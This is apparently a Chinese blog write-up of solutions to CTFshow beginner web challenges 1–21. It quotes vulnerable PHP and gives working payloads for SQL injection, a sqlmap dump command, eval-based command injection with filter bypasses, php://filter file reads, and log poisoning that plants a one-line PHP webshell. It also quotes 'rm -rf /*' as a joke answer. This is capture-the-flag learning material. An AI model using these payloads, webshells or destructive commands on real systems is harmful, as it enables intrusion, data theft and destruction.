CTFshow_萌新计划_web1-21

0x01 web1

  • 关键代码:
if(isset($_GET['id'])){
    $id = $_GET['id'];
    # 判断id的值是否大于999
    if(intval($id) > 999){
        # id 大于 999 直接退出并返回错误
        die("id error");
    }else{
        # id 小于 999 拼接sql语句
        $sql = "select * from article where id = $id order by id limit 1 ";
        echo "执行的sql为:$sql<br>";
        # 执行sql 语句
        $result = $conn->query($sql);
        # 判断有没有查询结果
        if ($result->num_rows > 0) {
            # 如果有结果,获取结果对象的值$row
            while($row = $result->fetch_assoc()) {
                echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
            }
        }
        # 关闭数据库连接
        $conn->close();
  • 利用了intval函数的特性
  • $id = $_GET['id'];
    这里将get赋值给id,如果输入’1000’,用var_dump输出id变量
    string(6) "'1000'"
    可见id是一个带单引号的字符串
    用var_dump输出intval($id)
    int(0)

    if(intval($id) > 999)
    成立

因为intval函数遇到不能转化的字符回返回0
如果不能转化字符开头则直接返回0
如果不能转化字符在数字符后面返回数字符
var_dump(intval(‘100a’));//100

  • 成功绕过

补充其他绕过方法

‘1000’
“1000”
123<<3
680|320
16进制(0x3e8)
999+1
10*100
999-(-1)/999–1/999- -1
(1000)
144^888(MySQL会报错,但也能执行)按位异或
~~1000 (双重取反)
0b1111101000(二进制)
1 or 1=1%23(万能密码显示所有)
id#(显示所有)
看下一道题的过滤,应该是!、\、/、>、hex可以绕过,不知道怎么弄

  • 或者使用SQL注入
  • 这里使用联合查询
    -ctf.show/?id=-1 union select 1,2,3#成功回显
  • 复习下sqlmap注入
    sqlmap.py -u http://fa63c525-ebdd-4b67-8b4c-7af077657748.chall.ctf.show?id=1 --batch -D web1 -T article -C content --dump

0x02 web2

  • 和上一题比多了
if(preg_match("/or|\+/i",$id)){
            die("id error");
  • '1000'一样可以绕过

0x03 web3

  • 和上一题比多了
    if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){
            die("id error");
  • '1000'一样可以绕过

0x04 web4

  • 和上一题比多了
    if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
  • '1000'一样可以绕过

0x05 web5

  • 和上一题比多了
    if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
  • ' "被过滤了,使用异或绕过
  • 144^888

0x06 web6

  • 和上一题比多了
    if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
  • ^异或被过滤,使用双重取反绕过
  • ~~1000

0x07 web7

  • 和上一题比多了
    if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
  • ~异或被过滤,使用二进制绕过
  • 0b1111101000

0x08 web8

  • 关键代码
<?php
# 包含数据库连接文件,key flag 也在里面定义
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['flag'])){
        if(isset($_GET['flag'])){
                $f = $_GET['flag'];
                if($key===$f){
                        echo $flag;
                }
        }
}?>
  • 想不出key该等于什么,wp:
  • rm -rf /*好家伙,删库跑路
  • 阿呆第一季完结撒花

0x09 web9

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

咋一看过滤了一些函数,好家伙原来是得用这些函数
payload:highlight_file('config.php')

0x0A web10

if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
  • 这次倒是真就过滤了,但还有很多函数
  • 这里用passthru('cat config.php');
  • 还可以用变量拼接+函数动态执行$a='sys';$b='tem';$c=$a.$b;$c('cat config.php');

0x0B web11

 if(!preg_match("/system|exec|highlight|cat/i",$c)){
  • 过滤了cat
  • 可以用其他执行函数/类似cat的函数
  • 或者变量拼接+动态执行highlight
  • 或者连接符绕过ca""t

0x0C web12

if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
  • 过滤了config . php
  • 太多绕过方法了
  • 这里举例一个base64绕过c=$a=base64_decode("c3lzdGVt");$b=base64_decode("Y2F0IGNvbmZpZy5waHA=");$a($b);

0x0D web13

if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c))
  • 过滤了php
  • ①base64:
    c=passthru(base64_decode(%27Y2F0IGNvbmZpZy5waHA=%27))?>
  • ②构造:?c=passthru('c""at `ls`')?>
  • 原因:
    ①Linux中的反引号是优先执行,所以上面先ls再cat
    ②?>可直接闭合PHP文件,绕过;

file这个过滤有什么用

0x0E web14

if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c))

括号被过滤了

  • 百度payload【include包含结合伪协议】
  • ?c=include$_GET['a']?>&a=php://filter/read=convert.base64-encode/resource=config.php
  • 解base64即可
  • 或者
    ?c=echo `$_REQUEST[a]`?>&a=cat config.php

0x0F web15

if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
  • 过滤了\* ? < > =

所以\* < = 等于号怎么绕过上一题?

  • 但没有过滤;
  • 按上一题的思路
  • payload:?c=include$_GET['a'];&a=php://filter/read=convert.base64-encode/resource=config.php
  • 或者
    ?c=echo `$_REQUEST[a]`;&a=cat config.php

0x10 web16

  • 关键代码
$c = $_GET['c'];
        if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){
            echo $flag;
        }else{
            echo "nonono!";
        }
  • 不懂,百度了,觉得是脑洞题,忽略
  • payload:c=36d

0x11 web17

  • 关键代码:
$c=$_GET['c'];
if(!preg_match("/php/i",$c)){
       include($c);     
  • 考文件包含
  • 过滤了PHP,data://报错allow_url_include没开
  • 以我的知识储备找不到其他伪协议可以利用
  • 试试日志文件包含
  • burpsuite抓包
  • 从响应包中发现Server: nginx/1.18.0 (Ubuntu)
  • Ubuntu中nginx的日志文件默认为/var/log/nginx/access.logor/var/log/nginx/error.log
  • 访问http://chall.ctf.show/?c=/var/log/nginx/access.log成功
    可以看到记录了User-Agent
  • 则构造一句话写入User-Agent,进入日志文件
  • burp中修改User-Agent为<?php @eval($_POST[1]);?>
  • 蚁剑访问http://chall.ctf.show/?c=/var/log/nginx/access.log
  • 连接成功,36d.php getFlag
  • 还可以用远程包含

0x12 web18

与一题相比较:

if(!preg_match("/php|file/i",$c)){
  • 过滤file

莫非file协议可以?可flag在36.php中,PHP被过滤了,不懂

  • 用web17方法可解

0x13 web19

与上一题相比较:

if(!preg_match("/php|file|base/i",$c)){
  • 过滤base

这里过滤 base是拦截什么语句?

  • 用web17方法可解

0x14 web20

与上一题相比较:

if(!preg_match("/php|file|base|rot/i",$c)){
  • 过滤rot

这里过滤 rot是拦截什么语句?

  • 用web17方法可解

0x15 web21

与上一题相比较:

if(!preg_match("/php|file|\:|base|rot/i",$c)){
  • 过滤:
  • 用web17方法可解

这里过滤 : 是拦截什么语句?

# 0x16 web22
# 0x17 web23
# 0x18 web24
后面几题不是萌新能做的

  • 4
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值